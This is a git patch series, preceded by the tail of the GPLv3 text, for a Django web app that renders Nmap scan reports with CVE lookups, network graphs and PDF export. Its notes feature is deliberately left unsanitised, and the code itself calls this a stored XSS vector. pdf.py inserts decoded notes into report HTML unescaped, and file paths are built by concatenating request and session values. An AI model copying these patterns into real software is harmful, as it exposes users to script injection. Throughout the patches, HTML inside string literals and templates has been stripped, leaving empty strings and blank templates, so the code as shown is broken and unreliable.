you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Use with the GNU Affero General Public License. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU Affero General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the special requirements of the GNU Affero General Public License, +section 13, concerning interaction through a network will apply to the +combination as such. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If the program does terminal interaction, make it output a short +notice like this when it starts in an interactive mode: + + Copyright (C) + This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, your program's commands +might be different; for a GUI interface, you would use an "about box". + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU GPL, see +. + + The GNU General Public License does not permit incorporating your program +into proprietary programs. If your program is a subroutine library, you +may consider it more useful to permit linking proprietary applications with +the library. If this is what you want to do, use the GNU Lesser General +Public License instead of this License. But first, please read +. From 581d933ec138bb7ce68eabc97699c80f70aeeac4 Mon Sep 17 00:00:00 2001 From: Rev3rseSecurity <36775664+Rev3rseSecurity@users.noreply.github.com> Date: Mon, 29 Oct 2018 10:44:26 +0000 Subject: [PATCH 17/77] fix stats services and ports --- views.py | 20 +++++++++++++------- 1 file changed, 13 insertions(+), 7 deletions(-) diff --git a/views.py b/views.py index 5177aae..90c7df0 100644 --- a/views.py +++ b/views.py @@ -625,25 +625,31 @@ def index(request, filterservice="", filterportid=""): allss = '' allsslabels = '' allssdata = '' + allssc = 0 for i in sorted(sscount, key=sscount.__getitem__, reverse=True): - if filterservice != i: - allss += ''+html.escape(i)+'('+str(sscount[i])+'), ' - else: - allss += ''+html.escape(i)+', ' + if allssc <= 30: + if filterservice != i: + allss += ''+html.escape(i)+'('+str(sscount[i])+'), ' + else: + allss += ''+html.escape(i)+', ' - allsslabels += '"'+html.escape(i)+'", ' - allssdata += ''+str(sscount[i])+',' + allsslabels += '"'+html.escape(i)+'", ' + allssdata += ''+str(sscount[i])+',' + allssc = (allssc + 1) allpilabels = '' allpidata = '' allpilinks = '' allpic = 1 for i in sorted(picount, key=picount.__getitem__, reverse=True): - allpilinks += ''+str(i)+', ' if allpic <= 5: + allpilinks += ''+str(i)+', ' allpilabels += '"'+html.escape(i)+'", ' allpidata += ''+str(picount[i])+',' allpic = (allpic + 1) + elif allpic > 5 and allpic <= 10: + allpilinks += ''+str(i)+', ' + allpic = (allpic + 1) allostypelinks = '' for i in sorted(allostypelist, key=allostypelist.__getitem__, reverse=True): From 7e756ba6ccdd94d4a2aadc1d5579fedc74dfda0c Mon Sep 17 00:00:00 2001 From: theMiddleBlue Date: Sun, 4 Nov 2018 17:31:24 +0000 Subject: [PATCH 18/77] v2.1: new template and features --- api.py | 25 +- functions.py | 75 ++++ network.py | 173 ++++++++ pdf.py | 69 ++-- static/async.js | 55 ++- static/custom.css | 1 + templates/nmapreport/index.html | 102 ----- templates/nmapreport/main.html | 166 ++++++++ templates/nmapreport/nmap_hostdetails.html | 110 ++++++ templates/nmapreport/nmap_network.html | 92 +++++ templates/nmapreport/nmap_portdetails.html | 93 +++++ templates/nmapreport/nmap_xmlfiles.html | 75 ++++ urls.py | 5 +- views.py | 436 +++++++++------------ 14 files changed, 1080 insertions(+), 397 deletions(-) create mode 100644 network.py delete mode 100644 templates/nmapreport/index.html create mode 100644 templates/nmapreport/main.html create mode 100644 templates/nmapreport/nmap_hostdetails.html create mode 100644 templates/nmapreport/nmap_network.html create mode 100644 templates/nmapreport/nmap_portdetails.html create mode 100644 templates/nmapreport/nmap_xmlfiles.html diff --git a/api.py b/api.py index 5f394b7..cfd1c8d 100644 --- a/api.py +++ b/api.py @@ -1,6 +1,6 @@ from django.shortcuts import render from django.http import HttpResponse -import xmltodict, json, html, os, hashlib, re, requests +import xmltodict, json, html, os, hashlib, re, requests, base64, urllib.parse from collections import OrderedDict def rmNotes(request, hashstr): @@ -109,10 +109,27 @@ def getCVE(request): if request.method == "POST": scanfilemd5 = hashlib.md5(str(request.session['scanfile']).encode('utf-8')).hexdigest() - hostmd5 = hashlib.md5(str(request.POST['host']).encode('utf-8')).hexdigest() - portmd5 = hashlib.md5(str(request.POST['port']).encode('utf-8')).hexdigest() + #hostmd5 = hashlib.md5(str(request.POST['host']).encode('utf-8')).hexdigest() + #portmd5 = hashlib.md5(str(request.POST['port']).encode('utf-8')).hexdigest() # request.POST['host'] + + cpe = json.loads(base64.b64decode(urllib.parse.unquote(request.POST['cpe'])).decode('ascii')) + + for cpestr in cpe: + r = requests.get('http://cve.circl.lu/api/cvefor/'+cpestr) + cvejson = r.json() + + for host in cpe[cpestr]: + hostmd5 = hashlib.md5(str(host).encode('utf-8')).hexdigest() + if type(cvejson) is list and len(cvejson) > 0: + res[host] = cvejson[0] + f = open('/opt/notes/'+scanfilemd5+'_'+hostmd5+'.cve', 'w') + f.write(json.dumps(cvejson)) + f.close() + + return HttpResponse(json.dumps(res), content_type="application/json") + r = requests.get('http://cve.circl.lu/api/cvefor/'+request.POST['cpe']) if request.POST['host'] not in res: @@ -122,7 +139,7 @@ def getCVE(request): if type(cvejson) is list and len(cvejson) > 0: res[request.POST['host']][request.POST['port']] = cvejson[0] - f = open('/opt/notes/'+scanfilemd5+'_'+hostmd5+'.'+request.POST['port']+'.cve', 'w') + f = open('/opt/notes/'+scanfilemd5+'_'+hostmd5+'.cve', 'w') f.write(json.dumps(cvejson)) f.close() diff --git a/functions.py b/functions.py index 58a29aa..1938d22 100644 --- a/functions.py +++ b/functions.py @@ -1,3 +1,5 @@ +import xmltodict, json, html, os, hashlib, re, urllib.parse, base64 + def labelToMargin(label): labels = { 'Vulnerable':'10px', @@ -32,3 +34,76 @@ def fromOSTypeToFontAwesome(ostype): return str(icons[ostype.lower()]) else: return 'fas fa-question' + +def nmap_ports_stats(scanfile): + try: + oo = xmltodict.parse(open('/opt/xml/'+scanfile, 'r').read()) + except: + return {'po':0,'pc':0,'pf':0} + + r = json.dumps(oo['nmaprun'], indent=4) + o = json.loads(r) + + po,pc,pf = 0,0,0 + + for ik in o['host']: + if type(ik) is dict: + i = ik + else: + i = o['host'] + + ss,pp,ost = {},{},{} + lastportid = 0 + + if '@addr' in i['address']: + address = i['address']['@addr'] + elif type(i['address']) is list: + for ai in i['address']: + if ai['@addrtype'] == 'ipv4': + address = ai['@addr'] + + addressmd5 = hashlib.md5(str(address).encode('utf-8')).hexdigest() + + striggered = False + if 'ports' in i and 'port' in i['ports']: + for pobj in i['ports']['port']: + if type(pobj) is dict: + p = pobj + else: + p = i['ports']['port'] + + if lastportid == p['@portid']: + continue + else: + lastportid = p['@portid'] + + ss[p['service']['@name']] = p['service']['@name'] + pp[p['@portid']] = p['@portid'] + + if p['state']['@state'] == 'closed': + #ports['closed'] = (ports['closed'] + 1) + pc = (pc + 1) + elif p['state']['@state'] == 'open': + #ports['open'] = (ports['open'] + 1) + po = (po + 1) + elif p['state']['@state'] == 'filtered': + #ports['filtered'] = (ports['filtered'] + 1) + pf = (pf + 1) + + return {'po':po,'pc':pc,'pf':pf} + +def get_cve(scanmd5): + cvehost = {} + cvefiles = os.listdir('/opt/notes') + for cf in cvefiles: + m = re.match('^('+scanmd5+')_([a-z0-9]{32,32})\.cve$', cf) + if m is not None: + if m.group(1) not in cvehost: + cvehost[m.group(1)] = {} + + if m.group(2) not in cvehost[m.group(1)]: + cvehost[m.group(1)][m.group(2)] = open('/opt/notes/'+cf, 'r').read() + + #cvehost[m.group(1)][m.group(2)][m.group(3)] = open('/opt/notes/'+cf, 'r').read() + + return cvehost diff --git a/network.py b/network.py new file mode 100644 index 0000000..59206a2 --- /dev/null +++ b/network.py @@ -0,0 +1,173 @@ +from django.shortcuts import render +from django.http import HttpResponse +import xmltodict, json, html, os, hashlib, re, urllib.parse, base64 +from collections import OrderedDict +from nmapreport.functions import * + +def visjs(request): + r = {} + + if 'scanfile' not in request.session: + r['js'] = ''' + + ''' + return render(request, 'nmapreport/nmap_network.html', r) + + oo = xmltodict.parse(open('/opt/xml/'+request.session['scanfile'], 'r').read()) + r['out2'] = json.dumps(oo['nmaprun'], indent=4) + o = json.loads(r['out2']) + + scanmd5 = hashlib.md5(str(request.session['scanfile']).encode('utf-8')).hexdigest() + + addnodes = '' + portnodes = {} + + for ik in o['host']: + # this fix single host report + if type(ik) is dict: + i = ik + else: + i = o['host'] + + hostname = '' + if 'hostnames' in i and type(i['hostnames']) is dict: + if 'hostname' in i['hostnames']: + hostname += '
' + if type(i['hostnames']['hostname']) is list: + for hi in i['hostnames']['hostname']: + hostname += ''+hi['@type']+': '+hi['@name']+'
' + else: + hostname += ''+i['hostnames']['hostname']['@type']+': '+i['hostnames']['hostname']['@name']+'
' + + if i['status']['@state'] == 'up': + + po,pc,pf = 0,0,0 + #ss,pp,ost = {},{},{} + lastportid = 0 + + if '@addr' in i['address']: + address = i['address']['@addr'] + elif type(i['address']) is list: + for ai in i['address']: + if ai['@addrtype'] == 'ipv4': + address = ai['@addr'] + + addressmd5 = hashlib.md5(str(address).encode('utf-8')).hexdigest() + + if 'ports' in i and 'port' in i['ports']: + if len(i['ports']['port']) >= 1: + addnodes += " addNode('addr"+addressmd5+"', '"+address+"', '\uf0a0', '#090', '#999'); \n"+\ + " edges.add({ id: 'edge"+addressmd5+"', from: 'addr"+addressmd5+"', to: 'scan"+scanmd5+"', color:{color: '#cccccc'} }); \n" + + for pobj in i['ports']['port']: + if type(pobj) is dict: + p = pobj + else: + p = i['ports']['port'] + + if lastportid == p['@portid']: + continue + else: + lastportid = p['@portid'] + + if addressmd5 not in portnodes: + portnodes[addressmd5] = {} + + if p['@portid'] not in portnodes[addressmd5]: + portnodes[addressmd5][p['@portid']] = {} + + if p['state']['@state'] == 'closed': + portnodes[addressmd5][p['@portid']]['state'] = 'closed' + # addnodes += " addNode('port"+addressmd5+p['@portid']+"', '"+p['@portid']+"', '\uf057', '#f00', '#999'); "+\ + # " edges.add({ id: 'edgeport"+addressmd5+p['@portid']+"', from: 'addr"+addressmd5+"', to: 'port"+addressmd5+p['@portid']+"', color:{color: '#cccccc'} }); " + elif p['state']['@state'] == 'open': + portnodes[addressmd5][p['@portid']]['state'] = 'open' + # addnodes += " addNode('port"+addressmd5+p['@portid']+"', '"+p['@portid']+"', '\uf058', '#090', '#999'); "+\ + # " edges.add({ id: 'edgeport"+addressmd5+p['@portid']+"', from: 'addr"+addressmd5+"', to: 'port"+addressmd5+p['@portid']+"', color:{color: '#cccccc'} }); " + elif p['state']['@state'] == 'filtered': + portnodes[addressmd5][p['@portid']]['state'] = 'filtered' + # addnodes += " addNode('port"+addressmd5+p['@portid']+"', '"+p['@portid']+"', '\uf146', '#666', '#999'); "+\ + # " edges.add({ id: 'edgeport"+addressmd5+p['@portid']+"', from: 'addr"+addressmd5+"', to: 'port"+addressmd5+p['@portid']+"', color:{color: '#cccccc'} }); " + + + v,z,e = '','','' + if '@version' in p['service']: + portnodes[addressmd5][p['@portid']]['version'] = p['service']['@version'] + else: + portnodes[addressmd5][p['@portid']]['version'] = 'No Version' + + if '@product' in p['service']: + portnodes[addressmd5][p['@portid']]['product'] = p['service']['@product'] + else: + portnodes[addressmd5][p['@portid']]['product'] = 'No Product' + + if '@extrainfo' in p['service']: + portnodes[addressmd5][p['@portid']]['extrainfo'] = p['service']['@extrainfo'] + else: + portnodes[addressmd5][p['@portid']]['extrainfo'] = '' + + # this fix single host report + if type(ik) is not dict: + break; + + + r['js'] = '' + + return render(request, 'nmapreport/nmap_network.html', r) diff --git a/pdf.py b/pdf.py index 4e9d6c6..44f9694 100644 --- a/pdf.py +++ b/pdf.py @@ -24,18 +24,8 @@ def reportPDFView(request): scanmd5 = hashlib.md5(str(request.session['scanfile']).encode('utf-8')).hexdigest() # collect all cve in cvehost dict - cvehost = {} - cvefiles = os.listdir('/opt/notes') - for cf in cvefiles: - m = re.match('^('+scanmd5+')_([a-z0-9]{32,32})\.([0-9]+)\.cve$', cf) - if m is not None: - if m.group(1) not in cvehost: - cvehost[m.group(1)] = {} - - if m.group(2) not in cvehost[m.group(1)]: - cvehost[m.group(1)][m.group(2)] = {} - - cvehost[m.group(1)][m.group(2)][m.group(3)] = open('/opt/notes/'+cf, 'r').read() + cvehost = get_cve(scanmd5) + r['toc'] = '

' for ik in o['host']: @@ -83,6 +73,7 @@ def reportPDFView(request): noteshost[m.group(1)][m.group(2)] = open('/opt/notes/'+nf, 'r').read() if i['status']['@state'] == 'up': + r['toc'] += ''+saddress+'
Port scan
' labelout = '' if scanmd5 in labelhost: if addressmd5 in labelhost[scanmd5]: @@ -91,7 +82,7 @@ def reportPDFView(request): labelout = ''+html.escape(labelhost[scanmd5][addressmd5])+'' hostdetails_html += '

' - hostdetails_html += '

'+html.escape(saddress)+' '+labelout+'

' + hostdetails_html += '

'+html.escape(saddress)+' '+labelout+'

' hostdetails_html += ' Status: '+html.escape(i['status']['@state'])+', ' hostdetails_html += 'Reason: '+html.escape(i['status']['@reason'])+', ' @@ -194,38 +185,41 @@ def reportPDFView(request): if addressmd5 in noteshost[scanmd5]: notesb64 = noteshost[scanmd5][addressmd5] notesout = '

'+\ - '

Notes for host '+saddress+'

'+\ + '

Notes for host '+saddress+'

'+\ ' '+base64.b64decode(urllib.parse.unquote(notesb64)).decode('ascii')+\ '

' + r['toc'] += ' Notes
' cveout,cveout_html = '','' if scanmd5 in cvehost: if addressmd5 in cvehost[scanmd5]: - for cveport in cvehost[scanmd5][addressmd5]: - cvejson = json.loads(cvehost[scanmd5][addressmd5][cveport]) - for cveobj in cvejson: - - cverefout = '' - for cveref in cveobj['references']: - cverefout += ''+cveref+'
' - - cveexdbout = '' - if 'exploit-db' in cveobj: - cveexdbout = '

Exploit DB:
' - for cveexdb in cveobj['exploit-db']: - if 'title' in cveexdb: - cveexdbout += ''+html.escape(cveexdb['title'])+'
' - cveexdbout += '

' - - cveout += '

'+\ - ' '+html.escape(cveobj['id'])+' '+html.escape(cveobj['summary'])+'

'+\ - '

References:
'+cverefout+'

'+\ - cveexdbout+\ - '

' + #for cveport in cvehost[scanmd5][addressmd5]: + cvejson = json.loads(cvehost[scanmd5][addressmd5]) + for cveobj in cvejson: + + cverefout = '' + for cveref in cveobj['references']: + cverefout += ''+cveref+'
' + + cveexdbout = '' + if 'exploit-db' in cveobj: + cveexdbout = '

Exploit DB:
' + for cveexdb in cveobj['exploit-db']: + if 'title' in cveexdb: + cveexdbout += ''+html.escape(cveexdb['title'])+'
' + cveexdbout += '

' + + cveout += '

'+\ + ' '+html.escape(cveobj['id'])+' '+html.escape(cveobj['summary'])+'

'+\ + '

References:
'+cverefout+'

'+\ + cveexdbout+\ + '

' + + r['toc'] += ' CVE List
' cveout_html = '

'+\ - '

CVE List for '+saddress+':

'+\ + '

CVE List for '+saddress+':

'+\ cveout+\ '

' @@ -284,6 +278,9 @@ def reportPDFView(request): '

'+\ '

The information contained in these documents is confidential, privileged and only for the information of the intended recipient and may not be used, published or redistributed.

'+\ '

'+\ + ' '+\ '

'+\ '

Ports and Services

Ports status and services type

'+\ '

'+\ diff --git a/static/async.js b/static/async.js index 67d4e9c..5297c84 100644 --- a/static/async.js +++ b/static/async.js @@ -5,14 +5,15 @@ $(document).ready(function() { var cpetot = 0; var cpetimer; function checkCVE() { + if($('#cpestring').length <= 0) { + M.toast({html: 'Please, select a scan report first'}); + return 0; + } + cpe = JSON.parse(atob(decodeURIComponent($('#cpestring').val()))); csrftoken = $('input[name="csrfmiddlewaretoken"]').val(); console.log(cpe); - /* $.get('http://cve.circl.lu/api/cvefor/cpe:/a:openbsd:openssh:7.6').done(function(d) { - console.log(d); - }); */ - $('#modal1').css('background-color','#3e3e3e'); $('#modaltitle').html('Looking for CVE and Exploits'); $('#modalbody').html( 'This process could take a while, please wait...'+ @@ -21,6 +22,18 @@ function checkCVE() { $('#modalfooter').html(''); $('#modal1').modal('open'); + $.post('/report/api/getcve/', { + 'cpe': $('#cpestring').val(), + 'csrfmiddlewaretoken': csrftoken + }).done(function(d) { + console.log(d); + $('#modalbody').html('Done. Please, reload this page by clicking on Reload button.'); + $('#modalfooter').html(''); + }); + + return 0; + + cpetot = Object.keys(cpe).length; console.log(cpetot); @@ -74,7 +87,7 @@ function genPDF(md5scan) { if(/^[a-f0-9]{32,32}$/.test(md5scan)) { $.get('/report/api/pdf/').done(function(data) { console.log(data); - $('#modal1').css('background-color','#3e3e3e'); + // $('#modal1').css('background-color','#3e3e3e'); $('#modaltitle').html('Generating PDF Report'); $('#modalbody').html('Please wait a few seconds...
'+ @@ -124,13 +137,13 @@ function openNotes(hashstr, notesb64) { } else { savednotes = '' } - $('#modal1').css('background-color','#3e3e3e'); + // $('#modal1').css('background-color','#3e3e3e'); $('#modaltitle').html('Save Notes'); $('#modalbody').html( 'In the text area below, you can insert notes that will appear on the PDF report. '+ 'All input here are intentionally not sanitized, so you can use HTML markup and JavaScript. '+ 'Please, keep in mind that you can break the PDF View HTML and, of course, this represents a stored XSS vector.

'+ - ''+ + ''+ '

'+ 'Tips:
'+ '<b>bold text</b> = bold text
'+ @@ -138,7 +151,7 @@ function openNotes(hashstr, notesb64) { '<span class="label green">A green label</span> = A green label
'+ '<code>monospace font</code> = monospace font' ); - $('#modalfooter').html(''); + $('#modalfooter').html(' '); $('#modal1').modal('open'); } } @@ -147,7 +160,7 @@ function apiPortDetails(address, portid) { $.get('/report/api/'+address+'/'+portid+'/').done(function(data) { console.log(data); - $('#modaltitle').html('Port Details: '+$('').text(data['@portid']).html()+' / '+$('').text(data['@protocol']).html()+''); + $('#modaltitle').html('Port Details: '+$('').text(data['@protocol']).html().toUpperCase()+' / '+$('').text(data['@portid']).html()+''); tbody = '' ingorescriptid = { @@ -170,7 +183,7 @@ function apiPortDetails(address, portid) { tbody += 'nonenone' } - $('#modal1').css('background-color','#3e3e3e'); + // $('#modal1').css('background-color','#3e3e3e'); $('#modalbody').html(''+tbody+'

Script ID	Output

'); $('#modalbody').append('
Raw Output:

'+$('').text(JSON.stringify(data, null, 4)).html()+'

'); @@ -183,6 +196,7 @@ function removeLabel(type, hashstr, i) { if(data['ok'] == 'label removed') { $('#hostlabel'+i).attr("class","") $('#hostlabel'+i).html(""); + $('#hostlabelbb'+i).attr("class","") } }); } @@ -193,17 +207,34 @@ function setLabel(type, label, hashstr, i) { var res = data; var color = 'grey'; var margin = '10px'; if(res['ok'] == 'label set') { + switch(res['label']) { case 'Vulnerable': color = 'red'; margin = '10px'; break; case 'Critical': color = 'black'; margin = '22px'; break; case 'Warning': color = 'orange'; margin = '28px'; break; case 'Checked': color = 'blue'; margin = '28px'; break; } - $('#hostlabel'+i).css("margin-left", margin) + + // z-index:99;transform: rotate(-8deg);margin-top:-14px;margin-left:-40px; + $('#hostlabel'+i).css("margin-left", '-40px') + $('#hostlabel'+i).css("z-index", '99') + $('#hostlabel'+i).css("transform", 'rotate(-8deg)') + $('#hostlabel'+i).css("margin-top", '-14px') $('#hostlabel'+i).attr("class","") - $('#hostlabel'+i).addClass('rightlabel'); + $('#hostlabel'+i).addClass('leftlabel'); $('#hostlabel'+i).addClass(color); $('#hostlabel'+i).html(res['label']); + + // border-radius:0px 4px 0px 4px;z-index:98;position:absolute;width:18px;height:10px;margin-left:-48px;margin-top:-3px; + $('#hostlabelbb'+i).css("border-radius", '0px 4px 0px 4px') + $('#hostlabelbb'+i).css("z-index", '98') + $('#hostlabelbb'+i).css("position", 'absolute') + $('#hostlabelbb'+i).css("width", '18px') + $('#hostlabelbb'+i).css("height", '10px') + $('#hostlabelbb'+i).css("margin-left", '-48px') + $('#hostlabelbb'+i).css("margin-top", '-3px') + $('#hostlabelbb'+i).attr("class","") + $('#hostlabelbb'+i).addClass(color); } }); } diff --git a/static/custom.css b/static/custom.css index 769b692..4f23798 100644 --- a/static/custom.css +++ b/static/custom.css @@ -80,3 +80,4 @@ body { font-size:12px; color:#fff; } + diff --git a/templates/nmapreport/index.html b/templates/nmapreport/index.html deleted file mode 100644 index 9c4c8b5..0000000 --- a/templates/nmapreport/index.html +++ /dev/null @@ -1,102 +0,0 @@ -{% load static %} - - - - - - - - - - - - - - - - - - - - - -

- - - {{ topcontainer|safe }} -

- {{ scaninfo|safe }} -

- Scan Details - {{ scandetails|safe }} -

- - -

- - - {{ trhead|safe }} - - - {{ trhost|safe }} - -

- - {{ table|safe }} - - -

-				{{ out|safe }}
-

